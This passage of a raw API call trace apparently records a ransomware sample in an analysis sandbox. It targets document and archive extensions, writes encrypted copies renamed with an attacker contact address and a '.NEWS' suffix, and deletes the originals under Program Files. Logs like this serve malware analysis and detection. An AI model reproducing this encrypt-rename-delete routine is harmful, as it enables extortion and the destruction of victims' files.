lpString2=".ico") returned -1 [0194.117] lstrlenW (lpString=".docx") returned 5 [0194.117] lstrcmpiW (lpString1=".docx", lpString2="g.ico") returned -1 [0194.117] lstrlenW (lpString=".pdf") returned 4 [0194.117] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0194.117] lstrlenW (lpString=".xls") returned 4 [0194.117] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0194.117] lstrlenW (lpString=".xlsx") returned 5 [0194.117] lstrcmpiW (lpString1=".xlsx", lpString2="g.ico") returned -1 [0194.117] lstrlenW (lpString=".ppt") returned 4 [0194.117] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0194.117] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\images\\bing.ico") returned 50 [0194.117] lstrlenW (lpString=".zip") returned 4 [0194.117] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0194.117] lstrlenW (lpString=".rar") returned 4 [0194.117] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0194.117] lstrlenW (lpString=".bz2") returned 4 [0194.117] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0194.117] lstrlenW (lpString=".7z") returned 3 [0194.117] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0194.117] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\images\\bing.ico") returned 50 [0194.117] lstrlenW (lpString=".dbf") returned 4 [0194.117] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0194.117] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\images\\bing.ico") returned 50 [0194.117] lstrlenW (lpString=".1cd") returned 4 [0194.118] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0194.118] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\images\\bing.ico") returned 50 [0194.118] lstrlenW (lpString=".jpg") returned 4 [0194.118] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0194.118] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\images\\bing.ico") returned 50 [0194.118] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\images\\bing.ico") returned 50 [0194.118] lstrlenW (lpString=".doc") returned 4 [0194.118] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0194.118] lstrlenW (lpString=".docx") returned 5 [0194.118] lstrcmpiW (lpString1=".docx", lpString2="g.ico") returned -1 [0194.118] lstrlenW (lpString=".pdf") returned 4 [0194.118] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0194.118] lstrlenW (lpString=".xls") returned 4 [0194.118] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0194.118] lstrlenW (lpString=".xlsx") returned 5 [0194.118] lstrcmpiW (lpString1=".xlsx", lpString2="g.ico") returned -1 [0194.118] lstrlenW (lpString=".ppt") returned 4 [0194.118] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0194.118] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\images\\bing.ico") returned 50 [0194.118] lstrlenW (lpString=".zip") returned 4 [0194.118] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0194.118] lstrlenW (lpString=".rar") returned 4 [0194.118] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0194.118] lstrlenW (lpString=".bz2") returned 4 [0194.118] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0194.118] lstrlenW (lpString=".7z") returned 3 [0194.118] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0194.118] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\images\\bing.ico") returned 50 [0194.118] lstrlenW (lpString=".dbf") returned 4 [0194.118] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0194.118] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\images\\bing.ico") returned 50 [0194.118] lstrlenW (lpString=".1cd") returned 4 [0194.118] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0194.118] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\images\\bing.ico") returned 50 [0194.118] lstrlenW (lpString=".jpg") returned 4 [0194.118] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0194.119] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0194.119] lstrlenW (lpString="prospects_pixel_academics.exe") returned 29 [0194.119] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\prospects_pixel_academics.exe" (normalized: "c:\\program files\\internet explorer\\prospects_pixel_academics.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0194.119] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=78336) returned 1 [0194.119] CloseHandle (hObject=0x34c) returned 1 [0194.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\prospects_pixel_academics.exe" (normalized: "c:\\program files\\internet explorer\\prospects_pixel_academics.exe")) returned 0x20 [0194.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\prospects_pixel_academics.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\internet explorer\\prospects_pixel_academics.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.119] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\prospects_pixel_academics.exe" (normalized: "c:\\program files\\internet explorer\\prospects_pixel_academics.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0194.119] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.119] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.119] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\prospects_pixel_academics.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\internet explorer\\prospects_pixel_academics.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0194.120] GetLastError () returned 0x0 [0194.120] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesRead=0x34ffecc*=0x13200, lpOverlapped=0x0) returned 1 [0194.125] WriteFile (in: hFile=0x348, lpBuffer=0x3a0a020*, nNumberOfBytesToWrite=0x13210, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesWritten=0x34ffc94*=0x13210, lpOverlapped=0x0) returned 1 [0194.657] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0194.657] WriteFile (in: hFile=0x348, lpBuffer=0x3a0a020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesWritten=0x34ffc94*=0x10e, lpOverlapped=0x0) returned 1 [0194.657] SetEndOfFile (hFile=0x348) returned 1 [0194.657] CloseHandle (hObject=0x348) returned 1 [0194.657] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.657] SetEndOfFile (hFile=0x34c) returned 1 [0194.658] CloseHandle (hObject=0x34c) returned 1 [0194.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\prospects_pixel_academics.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0194.659] DeleteFileW (lpFileName="C:\\Program Files\\Internet Explorer\\prospects_pixel_academics.exe" (normalized: "c:\\program files\\internet explorer\\prospects_pixel_academics.exe")) returned 1 [0194.659] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\prospects_pixel_academics.exe") returned 64 [0194.659] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\prospects_pixel_academics.exe") returned 64 [0194.659] lstrlenW (lpString=".doc") returned 4 [0194.659] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0194.659] lstrlenW (lpString=".docx") returned 5 [0194.659] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0194.659] lstrlenW (lpString=".pdf") returned 4 [0194.659] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0194.659] lstrlenW (lpString=".xls") returned 4 [0194.659] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0194.659] lstrlenW (lpString=".xlsx") returned 5 [0194.659] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0194.659] lstrlenW (lpString=".ppt") returned 4 [0194.659] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0194.659] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\prospects_pixel_academics.exe") returned 64 [0194.659] lstrlenW (lpString=".zip") returned 4 [0194.659] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0194.659] lstrlenW (lpString=".rar") returned 4 [0194.659] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0194.659] lstrlenW (lpString=".bz2") returned 4 [0194.659] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0194.660] lstrlenW (lpString=".7z") returned 3 [0194.660] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0194.660] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\prospects_pixel_academics.exe") returned 64 [0194.660] lstrlenW (lpString=".dbf") returned 4 [0194.660] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0194.660] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\prospects_pixel_academics.exe") returned 64 [0194.660] lstrlenW (lpString=".1cd") returned 4 [0194.660] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0194.660] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\prospects_pixel_academics.exe") returned 64 [0194.660] lstrlenW (lpString=".jpg") returned 4 [0194.660] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0194.660] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\prospects_pixel_academics.exe") returned 64 [0194.660] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\prospects_pixel_academics.exe") returned 64 [0194.660] lstrlenW (lpString=".doc") returned 4 [0194.660] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0194.660] lstrlenW (lpString=".docx") returned 5 [0194.660] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0194.660] lstrlenW (lpString=".pdf") returned 4 [0194.660] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0194.660] lstrlenW (lpString=".xls") returned 4 [0194.660] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0194.660] lstrlenW (lpString=".xlsx") returned 5 [0194.660] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0194.660] lstrlenW (lpString=".ppt") returned 4 [0194.660] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0194.660] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\prospects_pixel_academics.exe") returned 64 [0194.660] lstrlenW (lpString=".zip") returned 4 [0194.661] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0194.661] lstrlenW (lpString=".rar") returned 4 [0194.661] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0194.661] lstrlenW (lpString=".bz2") returned 4 [0194.661] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0194.661] lstrlenW (lpString=".7z") returned 3 [0194.661] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0194.661] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\prospects_pixel_academics.exe") returned 64 [0194.661] lstrlenW (lpString=".dbf") returned 4 [0194.661] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0194.661] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\prospects_pixel_academics.exe") returned 64 [0194.661] lstrlenW (lpString=".1cd") returned 4 [0194.661] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0194.661] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\prospects_pixel_academics.exe") returned 64 [0194.661] lstrlenW (lpString=".jpg") returned 4 [0194.661] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0194.661] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0194.661] lstrlenW (lpString="decora_sse.dll") returned 14 [0194.661] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0194.663] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=86080) returned 1 [0194.663] CloseHandle (hObject=0x34c) returned 1 [0194.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 0x20 [0194.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.663] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0194.663] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.663] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.663] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0194.664] GetLastError () returned 0x0 [0194.664] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesRead=0x34ffecc*=0x15040, lpOverlapped=0x0) returned 1 [0194.668] WriteFile (in: hFile=0x348, lpBuffer=0x3a0a020*, nNumberOfBytesToWrite=0x15050, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesWritten=0x34ffc94*=0x15050, lpOverlapped=0x0) returned 1 [0194.671] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0194.671] WriteFile (in: hFile=0x348, lpBuffer=0x3a0a020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesWritten=0x34ffc94*=0xf0, lpOverlapped=0x0) returned 1 [0194.671] SetEndOfFile (hFile=0x348) returned 1 [0194.671] CloseHandle (hObject=0x348) returned 1 [0194.671] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.671] SetEndOfFile (hFile=0x34c) returned 1 [0194.672] CloseHandle (hObject=0x34c) returned 1 [0194.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0194.673] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 1 [0194.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0194.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0194.673] lstrlenW (lpString=".doc") returned 4 [0194.673] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0194.673] lstrlenW (lpString=".docx") returned 5 [0194.673] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0194.673] lstrlenW (lpString=".pdf") returned 4 [0194.673] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0194.673] lstrlenW (lpString=".xls") returned 4 [0194.673] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0194.673] lstrlenW (lpString=".xlsx") returned 5 [0194.673] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0194.673] lstrlenW (lpString=".ppt") returned 4 [0194.673] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0194.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0194.673] lstrlenW (lpString=".zip") returned 4 [0194.673] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0194.673] lstrlenW (lpString=".rar") returned 4 [0194.673] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0194.674] lstrlenW (lpString=".bz2") returned 4 [0194.674] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0194.674] lstrlenW (lpString=".7z") returned 3 [0194.674] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0194.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0194.674] lstrlenW (lpString=".dbf") returned 4 [0194.674] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0194.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0194.674] lstrlenW (lpString=".1cd") returned 4 [0194.674] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0194.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0194.674] lstrlenW (lpString=".jpg") returned 4 [0194.674] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0194.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0194.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0194.674] lstrlenW (lpString=".doc") returned 4 [0194.674] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0194.674] lstrlenW (lpString=".docx") returned 5 [0194.674] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0194.674] lstrlenW (lpString=".pdf") returned 4 [0194.674] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0194.674] lstrlenW (lpString=".xls") returned 4 [0194.674] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0194.674] lstrlenW (lpString=".xlsx") returned 5 [0194.674] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0194.674] lstrlenW (lpString=".ppt") returned 4 [0194.674] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0194.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0194.674] lstrlenW (lpString=".zip") returned 4 [0194.674] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0194.674] lstrlenW (lpString=".rar") returned 4 [0194.674] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0194.674] lstrlenW (lpString=".bz2") returned 4 [0194.674] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0194.674] lstrlenW (lpString=".7z") returned 3 [0194.674] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0194.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0194.675] lstrlenW (lpString=".dbf") returned 4 [0194.675] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0194.675] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0194.675] lstrlenW (lpString=".1cd") returned 4 [0194.675] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0194.675] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0194.675] lstrlenW (lpString=".jpg") returned 4 [0194.675] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0194.675] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0194.675] lstrlenW (lpString="deploy.dll") returned 10 [0194.675] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0194.675] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=587840) returned 1 [0194.675] CloseHandle (hObject=0x34c) returned 1 [0194.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 0x20 [0194.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.676] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0194.676] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.676] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.676] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0194.676] GetLastError () returned 0x0 [0194.676] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesRead=0x34ffecc*=0x8f840, lpOverlapped=0x0) returned 1 [0194.979] WriteFile (in: hFile=0x348, lpBuffer=0x3a0a020*, nNumberOfBytesToWrite=0x8f850, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesWritten=0x34ffc94*=0x8f850, lpOverlapped=0x0) returned 1 [0195.125] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0195.126] WriteFile (in: hFile=0x348, lpBuffer=0x3a0a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0a020*, lpNumberOfBytesWritten=0x34ffc94*=0xe8, lpOverlapped=0x0) returned 1 [0195.126] SetEndOfFile (hFile=0x348) returned 1 [0195.126] CloseHandle (hObject=0x348) returned 1 [0195.126] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.126] SetEndOfFile (hFile=0x34c) returned 1 [0195.132] CloseHandle (hObject=0x34c) returned 1 [0195.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0195.132] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 1 [0195.133] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0195.133] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0195.133] lstrlenW (lpString=".doc") returned 4 [0195.133] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.133] lstrlenW (lpString=".docx") returned 5 [0195.133] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0195.133] lstrlenW (lpString=".pdf") returned 4 [0195.133] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.133] lstrlenW (lpString=".xls") returned 4 [0195.133] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.133] lstrlenW (lpString=".xlsx") returned 5 [0195.133] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0195.133] lstrlenW (lpString=".ppt") returned 4 [0195.133] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.133] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0195.133] lstrlenW (lpString=".zip") returned 4 [0195.134] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.134] lstrlenW (lpString=".rar") returned 4 [0195.134] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.134] lstrlenW (lpString=".bz2") returned 4 [0195.134] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.134] lstrlenW (lpString=".7z") returned 3 [0195.134] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.134] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0195.134] lstrlenW (lpString=".dbf") returned 4 [0195.134] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.134] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0195.134] lstrlenW (lpString=".1cd") returned 4 [0195.134] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.134] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0195.134] lstrlenW (lpString=".jpg") returned 4 [0195.134] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.134] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0195.134] lstrlenW (lpString="C:\\Program 